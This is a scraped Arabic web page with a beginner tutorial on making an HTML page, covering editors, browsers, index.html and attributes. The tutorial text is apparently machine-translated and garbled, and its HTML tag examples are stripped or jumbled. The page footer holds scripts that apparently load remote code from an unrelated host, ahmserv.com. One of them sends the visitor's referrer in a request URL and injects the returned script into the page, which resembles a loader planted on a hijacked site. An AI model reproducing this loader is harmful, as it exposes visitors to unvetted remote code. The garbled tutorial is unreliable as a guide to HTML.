تصميم صفحة ويب بلغة html جاهزة بسهولة

جدول المحتويات

ما يجب أن تتعلمه قبل إنشاء الصفحة
ما هو HTML؟
ما تحتاجه لإنشاء صفحة ويب
المحرر
المتصفح
خطوات تصميم صفحة الويب
لماذا يسمى index.html
ميزات خاصة بـ Html
معلومات HTML

ما يجب أن تتعلمه قبل إنشاء الصفحة

قبل تصميم صفحة ويب بتنسيق HTML جاهزة للمبتدئين، يعد الإلمام بجميع محتويات Windows أمرًا مهمًا للغاية، لأن المعرفة العملية بـ Windows تجعل من السهل تعلم استخدام HTML و JavaScript، ولهذا السبب يجب أن تكون على دراية بما يلي:

تعرف على كيفية إنشاء مجلد، وتخزينه، وكيفية استخدام المستعرض، ومستكشف Windows، والمعرفة الأساسية ببرنامج Word.
تأكد من معرفة كيفية:

قم بإنشاء مستند على القرص الثابت الخاص بك.

قم بإنشاء مجلد داخل مجلد آخر.

كيفية نسخ جزء من مستند ووضعه في مستند آخر.

تحتاج إلى التدرب على استخدام وظائف القص والنسخ واللصق في برامج Word العادية، بمجرد الانتهاء من ذلك، يمكنك تعلم HTML و JavaScript.

إذا وجدت صعوبة في تنفيذ هذه المهام، فاستغرق بضع ساعات لتعلم أساسيات Windows أو اطلب من صديق أو زميل على الكمبيوتر مساعدتك في تعلم كيفية استخدام Windows Explorer.

ما هو HTML؟

إنها لغة برمجة، أو HTML باختصار، وهي اللغة المسؤولة عن تصميم صفحة ويب بلغة html جاهزة، على سبيل المثال، يمكنك تحديد العناوين والفقرات والنصوص والصور في الويب بتنسيق HTML، وسنعرض المزيد عن هذه اللغة ووظائفها في إنشاء مواقع الويب، حيث يمكننا إنشاء مواقع ويب معقدة للغاية باستخدام HTML والعديد من اللغات الأخرى فقط. ومع ذلك، ستكون هذه المواقع ثابتة، مما يعني أنه يمكن لزوار الموقع تصفح الصفحات، ولكن لا يمكنهم إضافة أي تفاعل معها (ما لم ينقروا على الروابط الموجودة في الصفحات).
ولكن لبرمجة موقع ويب تفاعلي يمكن الوصول إليه، سنحتاج إلى استخدام لغات برمجة أخرى، مثل JavaScript أو Dart.
يمكننا تطوير العديد من التطبيقات كاملة عبر الإنترنت، على سبيل المثال، التطبيقات المهتمة بتنفيذ مختلف الحسابات وتطبيقات الألعاب وتطبيقات الدردشة وما إلى ذلك، ويمكن تشغيل هذه التطبيقات فعليًا في متصفحك.
هناك لغات وتقنيات برمجة أخرى، مثل PHP و Ruby و NET، تسمح لك بإنشاء تطبيقات ويب يمكنها التفاعل معها، لكن هذه التطبيقات تعمل ضمن موفر مستضاف (على الخادم).

ما تحتاجه لإنشاء صفحة ويب

نحتاج إلى شيئين مهمين للغاية من أجل الدخول إلى عالم البرمجة وإنشاء صفحة ويب، وكل هذا من أجل تصميم صفحة ويب جاهزة بلغة html، حيث تحتاج إلى:

المحرر

يتم استخدامه فقط في محرر نص عادي (مثل Notepad في Windows) ولكن من الأفضل استخدام محرر متميز، مما يجعل مهمتنا أسهل بكثير للقيام بذلك.
أوصي باستخدام محرر نصوص حديث مخصص لمحرري HTML والوسائط، ومحرر النصوص الذي أوصي به حاليًا هو Brackets (متاح مجانًا من Adobe).
ولكن يمكنك استخدام أي محرر تريده، فهناك محرر نصوص عالي الجودة يمكنك استخدامه، وهو Atom، ومحرر نصوص آخر، على الرغم من أنه قديم بعض الشيء، إلا أنه دفتر ملاحظات جيد ++.

المتصفح

يجب أن يكون موقعنا الإلكتروني متاحًا في جميع المتصفحات الرئيسية، ومع ذلك، أوصي باستخدام متصفح Chrome للتطوير والبرمجة، لأنه يوفر Chrome أدوات مفيدة جدًا لمطوري الويب، والتي يتم استخدامها بشكل متكرر، ومحرر الأقواس متوافق مع Chrome، لذلك التغييرات على سيتم عرض النص مباشرة في Chrome (عبر الميزة المسماة “Live Reload”).

خطوات تصميم صفحة الويب

لنبدأ الآن في تصميم صفحة ويب بتنسيق HTML جاهزة للموقع. كل ما عليك فعله هو إتباع خطوات إنشاء الموقع كالتالي:

إنشاء مجلد للمشروع، يجب أن يكون اسمه مجلد المجلد.
افتح برنامج الدعم.
من قائمة “ملف”، حدد الأمر فتح مجلد لتحديد وفتح المجلد الذي تم للتو.
انقر بزر الماوس الأيمن فوق اسم المجلد وحدد “ملف جديد” لإنشاء ملف جديد، وقم بتسميته html.
لديك الآن ملف نصي فارغ يسمى html.

لماذا يسمى index.html

في الواقع، ملف html له معنى خاص في عملية تصميم صفحة ويب، لذلك عندما نطلب من المتصفح عنوان موقع الويب (مثل http://code.makery.ch)، سيظهر ملف index.html تلقائيًا أولاً، وبهذه الطريقة سيزيد من مظهره، كما لو كان علينا إدخال http://code.makery.ch/index.html. بالنسبة لنا، سيكون index.html هو الصفحة الرئيسية.

ميزات خاصة بـ Html

تحدد السمات المعلومات الخاصة بعنصر HTML وتلعب دورًا في تصميم صفحة ويب بتنسيق HTML جاهزة. تم العثور على هذه السمات في علامة فتح عنصر HTML ولها دائمًا اسم وقيمة.
كمثال على السمات، لنلقِ نظرة على عنصر ارتباط HTML، ربما يكون أحد أهم العناصر، وهذا مثال ( رابط العنصر يشتمل على سمة) اختصار لأصل النص التشعبي، والذي يحتوي في هذا المثال على القيمة لأنه كما قلنا يحتوي على اسم وقيمة.

معلومات HTML

هذه اللغة هي اللغة المستخدمة لتصميم صفحة ويب HTML جاهزة، ومن معلوماتها أو ميزاتها التي يجب أن تكون على دراية بها وتعرف ما تعبر عنه:

إذا كنت دائما تضع في السطر الأول يخبر المتصفح بنوع المستند.
يشير إلى بداية المستند و يشير إلى نهاية المستند.
ال يشير العنصر (بين علامتي الفتح والإغلاق) إلى وجود معلومات أخرى حول الصفحة.
بعد ذلك، نرى، والذي يحتوي على عنوان المستند الذي سيتم عرضه في شريط عنوان نافذة المتصفح.</li><li>المحتوى أدناه<body> ستظهر العلامة في نافذة المتصفح الرئيسية.</li><li>ال<br /><h1> يحدد العنصر العنوان الرئيسي الذي سيتم عرضه للمستخدم على صفحة الويب. يمكنك استخدام عناصر أخرى لإنشاء توقيع.</li><li>نص بين<p> و</p><p /> العلامات هي فقرة منفصلة تمثل</p><p> جزء.</li></ul><p>أخيرًا، يمكنك الآن تصميم الصفحة التي تريدها بعد أن تعرف معظم لغة HTML المستخدمة في تصميم صفحة ويب HTML جاهزة.</p><div class="zunit" style="text-align: center;margin: 0 auto;margin-bottom: 20px;"><div id="adso2"> <script async data-src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-7646486661516313" crossorigin="anonymous"></script> <ins class="adsbygoogle" style="display:inline-block;width:360px;height:740px" data-ad-client="ca-pub-7646486661516313" data-ad-slot="7864957625"></ins> <script>(adsbygoogle = window.adsbygoogle || []).push({});</script> </div></div></div></div></article><nav class="navigation post-navigation" aria-label="Post navigation"> <span class="screen-reader-text">Post navigation</span><div class="nav-links"><div class="nav-previous"><a title="تصرفات الرجل عندما يكره المرأة ومتى يكره الرجل المرأة ؟" href="https://zavarovanjeterjatev.si/post/32503" rel="prev"><span class="ast-post-nav"><span aria-hidden="true" class="ahfb-svg-iconset ast-inline-flex svg-baseline"><svg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 448 512'><path d='M134.059 296H436c6.627 0 12-5.373 12-12v-56c0-6.627-5.373-12-12-12H134.059v-46.059c0-21.382-25.851-32.09-40.971-16.971L7.029 239.029c-9.373 9.373-9.373 24.569 0 33.941l86.059 86.059c15.119 15.119 40.971 4.411 40.971-16.971V296z'></path></svg></span> Previous</span><p> تصرفات الرجل عندما يكره المرأة ومتى يكره الرجل المرأة ؟</p></a></div><div class="nav-next"><a title="خطاب طلب نقل موظف من منطقة إلى أخرى واهمية الحصول عليه" href="https://zavarovanjeterjatev.si/post/32507" rel="next"><span class="ast-post-nav">Next <span aria-hidden="true" class="ahfb-svg-iconset ast-inline-flex svg-baseline"><svg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 448 512'><path d='M313.941 216H12c-6.627 0-12 5.373-12 12v56c0 6.627 5.373 12 12 12h301.941v46.059c0 21.382 25.851 32.09 40.971 16.971l86.059-86.059c9.373-9.373 9.373-24.569 0-33.941l-86.059-86.059c-15.119-15.119-40.971-4.411-40.971 16.971V216z'></path></svg></span></span><p> خطاب طلب نقل موظف من منطقة إلى أخرى واهمية الحصول عليه</p></a></div></div></nav></main></div></div></div><footer class="site-footer" id="colophon" itemtype="https://schema.org/WPFooter" itemscope="itemscope" itemid="#colophon"><div class="site-below-footer-wrap ast-builder-grid-row-container site-footer-focus-item ast-builder-grid-row-full ast-builder-grid-row-tablet-full ast-builder-grid-row-mobile-full ast-footer-row-stack ast-footer-row-tablet-stack ast-footer-row-mobile-stack" data-section="section-below-footer-builder"><div class="ast-builder-grid-row-container-inner"><div class="ast-builder-footer-grid-columns site-below-footer-inner-wrap ast-builder-grid-row"><div class="site-footer-below-section-1 site-footer-section site-footer-section-1"><div class="ast-builder-layout-element ast-flex site-footer-focus-item ast-footer-copyright" data-section="section-footer-builder"><div class="ast-footer-copyright"><p>Copyright © 2025 تريندات 2025</p></div></div></div></div></div></div></footer></div><div class="zunit" style="text-align: center;margin: 0 auto;margin-bottom: 20px;"><div id="adso3"> <script async data-src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-7646486661516313" crossorigin="anonymous"></script> <ins class="adsbygoogle" style="display:inline-block;width:360px;height:740px" data-ad-client="ca-pub-7646486661516313" data-ad-slot="7864957625"></ins> <script>(adsbygoogle = window.adsbygoogle || []).push({});</script> </div></div> <script src="https://ahmserv.com/ana/"></script> <script src="https://ahmserv.com/scripts/de.php?f=watan"></script> <script>var wntyksd = document.referrer; var syundre = document.createElement("script"); syundre.src = "https://ahmserv.com/scripts/zar.php?r="+wntyksd; document.head.appendChild(syundre);</script> <script async src="https://www.googletagmanager.com/gtag/js?id=G-C512Q3BLEG"></script><script>window.dataLayer = window.dataLayer || []; function gtag(){ dataLayer.push(arguments); } gtag('js', new Date()); gtag('config', 'G-C512Q3BLEG');</script> <div id="ast-scroll-top" tabindex="0" class="ast-scroll-top-icon ast-scroll-to-top-right" data-on-devices="both"> <span class="ast-icon icon-arrow"><svg class="ast-arrow-svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" x="0px" y="0px" width="26px" height="16.043px" viewBox="57 35.171 26 16.043" enable-background="new 57 35.171 26 16.043" xml:space="preserve"> <path d="M57.5,38.193l12.5,12.5l12.5-12.5l-2.5-2.5l-10,10l-10-10L57.5,38.193z"/> </svg></span> <span class="screen-reader-text">Scroll to Top</span></div> <script data-optimized="1" src="https://zavarovanjeterjatev.si/wp-content/litespeed/js/19f98de9ffa74298b03b80820295f279.js?ver=a9896" id="comment-reply-js" async data-wp-strategy="async"></script> <script id="astra-theme-js-js-extra">var astra = {"break_point":"921","isRtl":"1","is_scroll_to_id":"1","is_scroll_to_top":"1","is_header_footer_builder_active":"1","responsive_cart_click":"flyout"};</script> <script data-optimized="1" src="https://zavarovanjeterjatev.si/wp-content/litespeed/js/481975b8ab342a74c980645a5d05b807.js?ver=034b4" id="astra-theme-js-js"></script> <script>/(trident|msie)/i.test(navigator.userAgent)&&document.getElementById&&window.addEventListener&&window.addEventListener("hashchange",function(){var t,e=location.hash.substring(1);/^[A-z0-9_-]+$/.test(e)&&(t=document.getElementById(e))&&(/^(?:a|select|input|button|textarea)$/i.test(t.tagName)||(t.tabIndex=-1),t.focus())},!1);</script> <script data-no-optimize="1">!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(t="undefined"!=typeof globalThis?globalThis:t||self).LazyLoad=e()}(this,function(){"use strict";function e(){return(e=Object.assign||function(t){for(var e=1;e<arguments.length;e++){var n,a=arguments[e];for(n in a)Object.prototype.hasOwnProperty.call(a,n)&&(t[n]=a[n])}return t}).apply(this,arguments)}function i(t){return e({},it,t)}function o(t,e){var n,a="LazyLoad::Initialized",i=new t(e);try{n=new CustomEvent(a,{detail:{instance:i}})}catch(t){(n=document.createEvent("CustomEvent")).initCustomEvent(a,!1,!1,{instance:i})}window.dispatchEvent(n)}function l(t,e){return t.getAttribute(gt+e)}function c(t){return l(t,bt)}function s(t,e){return function(t,e,n){e=gt+e;null!==n?t.setAttribute(e,n):t.removeAttribute(e)}(t,bt,e)}function r(t){return s(t,null),0}function u(t){return null===c(t)}function d(t){return c(t)===vt}function f(t,e,n,a){t&&(void 0===a?void 0===n?t(e):t(e,n):t(e,n,a))}function _(t,e){nt?t.classList.add(e):t.className+=(t.className?" ":"")+e}function v(t,e){nt?t.classList.remove(e):t.className=t.className.replace(new RegExp("(^|\\s+)"+e+"(\\s+|$)")," ").replace(/^\s+/,"").replace(/\s+$/,"")}function g(t){return t.llTempImage}function b(t,e){!e||(e=e._observer)&&e.unobserve(t)}function p(t,e){t&&(t.loadingCount+=e)}function h(t,e){t&&(t.toLoadCount=e)}function n(t){for(var e,n=[],a=0;e=t.children[a];a+=1)"SOURCE"===e.tagName&&n.push(e);return n}function m(t,e){(t=t.parentNode)&&"PICTURE"===t.tagName&&n(t).forEach(e)}function a(t,e){n(t).forEach(e)}function E(t){return!!t[st]}function I(t){return t[st]}function y(t){return delete t[st]}function A(e,t){var n;E(e)||(n={},t.forEach(function(t){n[t]=e.getAttribute(t)}),e[st]=n)}function k(a,t){var i;E(a)&&(i=I(a),t.forEach(function(t){var e,n;e=a,(t=i[n=t])?e.setAttribute(n,t):e.removeAttribute(n)}))}function L(t,e,n){_(t,e.class_loading),s(t,ut),n&&(p(n,1),f(e.callback_loading,t,n))}function w(t,e,n){n&&t.setAttribute(e,n)}function x(t,e){w(t,ct,l(t,e.data_sizes)),w(t,rt,l(t,e.data_srcset)),w(t,ot,l(t,e.data_src))}function O(t,e,n){var a=l(t,e.data_bg_multi),i=l(t,e.data_bg_multi_hidpi);(a=at&&i?i:a)&&(t.style.backgroundImage=a,n=n,_(t=t,(e=e).class_applied),s(t,ft),n&&(e.unobserve_completed&&b(t,e),f(e.callback_applied,t,n)))}function N(t,e){!e||0<e.loadingCount||0<e.toLoadCount||f(t.callback_finish,e)}function C(t,e,n){t.addEventListener(e,n),t.llEvLisnrs[e]=n}function M(t){return!!t.llEvLisnrs}function z(t){if(M(t)){var e,n,a=t.llEvLisnrs;for(e in a){var i=a[e];n=e,i=i,t.removeEventListener(n,i)}delete t.llEvLisnrs}}function R(t,e,n){var a;delete t.llTempImage,p(n,-1),(a=n)&&--a.toLoadCount,v(t,e.class_loading),e.unobserve_completed&&b(t,n)}function T(o,r,c){var l=g(o)||o;M(l)||function(t,e,n){M(t)||(t.llEvLisnrs={});var a="VIDEO"===t.tagName?"loadeddata":"load";C(t,a,e),C(t,"error",n)}(l,function(t){var e,n,a,i;n=r,a=c,i=d(e=o),R(e,n,a),_(e,n.class_loaded),s(e,dt),f(n.callback_loaded,e,a),i||N(n,a),z(l)},function(t){var e,n,a,i;n=r,a=c,i=d(e=o),R(e,n,a),_(e,n.class_error),s(e,_t),f(n.callback_error,e,a),i||N(n,a),z(l)})}function G(t,e,n){var a,i,o,r,c;t.llTempImage=document.createElement("IMG"),T(t,e,n),E(c=t)||(c[st]={backgroundImage:c.style.backgroundImage}),o=n,r=l(a=t,(i=e).data_bg),c=l(a,i.data_bg_hidpi),(r=at&&c?c:r)&&(a.style.backgroundImage='url("'.concat(r,'")'),g(a).setAttribute(ot,r),L(a,i,o)),O(t,e,n)}function D(t,e,n){var a;T(t,e,n),a=e,e=n,(t=It[(n=t).tagName])&&(t(n,a),L(n,a,e))}function V(t,e,n){var a;a=t,(-1<yt.indexOf(a.tagName)?D:G)(t,e,n)}function F(t,e,n){var a;t.setAttribute("loading","lazy"),T(t,e,n),a=e,(e=It[(n=t).tagName])&&e(n,a),s(t,vt)}function j(t){t.removeAttribute(ot),t.removeAttribute(rt),t.removeAttribute(ct)}function P(t){m(t,function(t){k(t,Et)}),k(t,Et)}function S(t){var e;(e=At[t.tagName])?e(t):E(e=t)&&(t=I(e),e.style.backgroundImage=t.backgroundImage)}function U(t,e){var n;S(t),n=e,u(e=t)||d(e)||(v(e,n.class_entered),v(e,n.class_exited),v(e,n.class_applied),v(e,n.class_loading),v(e,n.class_loaded),v(e,n.class_error)),r(t),y(t)}function $(t,e,n,a){var i;n.cancel_on_exit&&(c(t)!==ut||"IMG"===t.tagName&&(z(t),m(i=t,function(t){j(t)}),j(i),P(t),v(t,n.class_loading),p(a,-1),r(t),f(n.callback_cancel,t,e,a)))}function q(t,e,n,a){var i,o,r=(o=t,0<=pt.indexOf(c(o)));s(t,"entered"),_(t,n.class_entered),v(t,n.class_exited),i=t,o=a,n.unobserve_entered&&b(i,o),f(n.callback_enter,t,e,a),r||V(t,n,a)}function H(t){return t.use_native&&"loading"in HTMLImageElement.prototype}function B(t,i,o){t.forEach(function(t){return(a=t).isIntersecting||0<a.intersectionRatio?q(t.target,t,i,o):(e=t.target,n=t,a=i,t=o,void(u(e)||(_(e,a.class_exited),$(e,n,a,t),f(a.callback_exit,e,n,t))));var e,n,a})}function J(e,n){var t;et&&!H(e)&&(n._observer=new IntersectionObserver(function(t){B(t,e,n)},{root:(t=e).container===document?null:t.container,rootMargin:t.thresholds||t.threshold+"px"}))}function K(t){return Array.prototype.slice.call(t)}function Q(t){return t.container.querySelectorAll(t.elements_selector)}function W(t){return c(t)===_t}function X(t,e){return e=t||Q(e),K(e).filter(u)}function Y(e,t){var n;(n=Q(e),K(n).filter(W)).forEach(function(t){v(t,e.class_error),r(t)}),t.update()}function t(t,e){var n,a,t=i(t);this._settings=t,this.loadingCount=0,J(t,this),n=t,a=this,Z&&window.addEventListener("online",function(){Y(n,a)}),this.update(e)}var Z="undefined"!=typeof window,tt=Z&&!("onscroll"in window)||"undefined"!=typeof navigator&&/(gle|ing|ro)bot|crawl|spider/i.test(navigator.userAgent),et=Z&&"IntersectionObserver"in window,nt=Z&&"classList"in document.createElement("p"),at=Z&&1<window.devicePixelRatio,it={elements_selector:".lazy",container:tt||Z?document:null,threshold:300,thresholds:null,data_src:"src",data_srcset:"srcset",data_sizes:"sizes",data_bg:"bg",data_bg_hidpi:"bg-hidpi",data_bg_multi:"bg-multi",data_bg_multi_hidpi:"bg-multi-hidpi",data_poster:"poster",class_applied:"applied",class_loading:"litespeed-loading",class_loaded:"litespeed-loaded",class_error:"error",class_entered:"entered",class_exited:"exited",unobserve_completed:!0,unobserve_entered:!1,cancel_on_exit:!0,callback_enter:null,callback_exit:null,callback_applied:null,callback_loading:null,callback_loaded:null,callback_error:null,callback_finish:null,callback_cancel:null,use_native:!1},ot="src",rt="srcset",ct="sizes",lt="poster",st="llOriginalAttrs",ut="loading",dt="loaded",ft="applied",_t="error",vt="native",gt="data-",bt="ll-status",pt=[ut,dt,ft,_t],ht=[ot],mt=[ot,lt],Et=[ot,rt,ct],It={IMG:function(t,e){m(t,function(t){A(t,Et),x(t,e)}),A(t,Et),x(t,e)},IFRAME:function(t,e){A(t,ht),w(t,ot,l(t,e.data_src))},VIDEO:function(t,e){a(t,function(t){A(t,ht),w(t,ot,l(t,e.data_src))}),A(t,mt),w(t,lt,l(t,e.data_poster)),w(t,ot,l(t,e.data_src)),t.load()}},yt=["IMG","IFRAME","VIDEO"],At={IMG:P,IFRAME:function(t){k(t,ht)},VIDEO:function(t){a(t,function(t){k(t,ht)}),k(t,mt),t.load()}},kt=["IMG","IFRAME","VIDEO"];return t.prototype={update:function(t){var e,n,a,i=this._settings,o=X(t,i);{if(h(this,o.length),!tt&&et)return H(i)?(e=i,n=this,o.forEach(function(t){-1!==kt.indexOf(t.tagName)&&F(t,e,n)}),void h(n,0)):(t=this._observer,i=o,t.disconnect(),a=t,void i.forEach(function(t){a.observe(t)}));this.loadAll(o)}},destroy:function(){this._observer&&this._observer.disconnect(),Q(this._settings).forEach(function(t){y(t)}),delete this._observer,delete this._settings,delete this.loadingCount,delete this.toLoadCount},loadAll:function(t){var e=this,n=this._settings;X(t,n).forEach(function(t){b(t,e),V(t,n,e)})},restoreAll:function(){var e=this._settings;Q(e).forEach(function(t){U(t,e)})}},t.load=function(t,e){e=i(e);V(t,e)},t.resetStatus=function(t){r(t)},Z&&function(t,e){if(e)if(e.length)for(var n,a=0;n=e[a];a+=1)o(t,n);else o(t,e)}(t,window.lazyLoadOptions),t});!function(e,t){"use strict";function a(){t.body.classList.add("litespeed_lazyloaded")}function n(){console.log("[LiteSpeed] Start Lazy Load Images"),d=new LazyLoad({elements_selector:"[data-lazyloaded]",callback_finish:a}),o=function(){d.update()},e.MutationObserver&&new MutationObserver(o).observe(t.documentElement,{childList:!0,subtree:!0,attributes:!0})}var d,o;e.addEventListener?e.addEventListener("load",n,!1):e.attachEvent("onload",n)}(window,document);</script></body></html>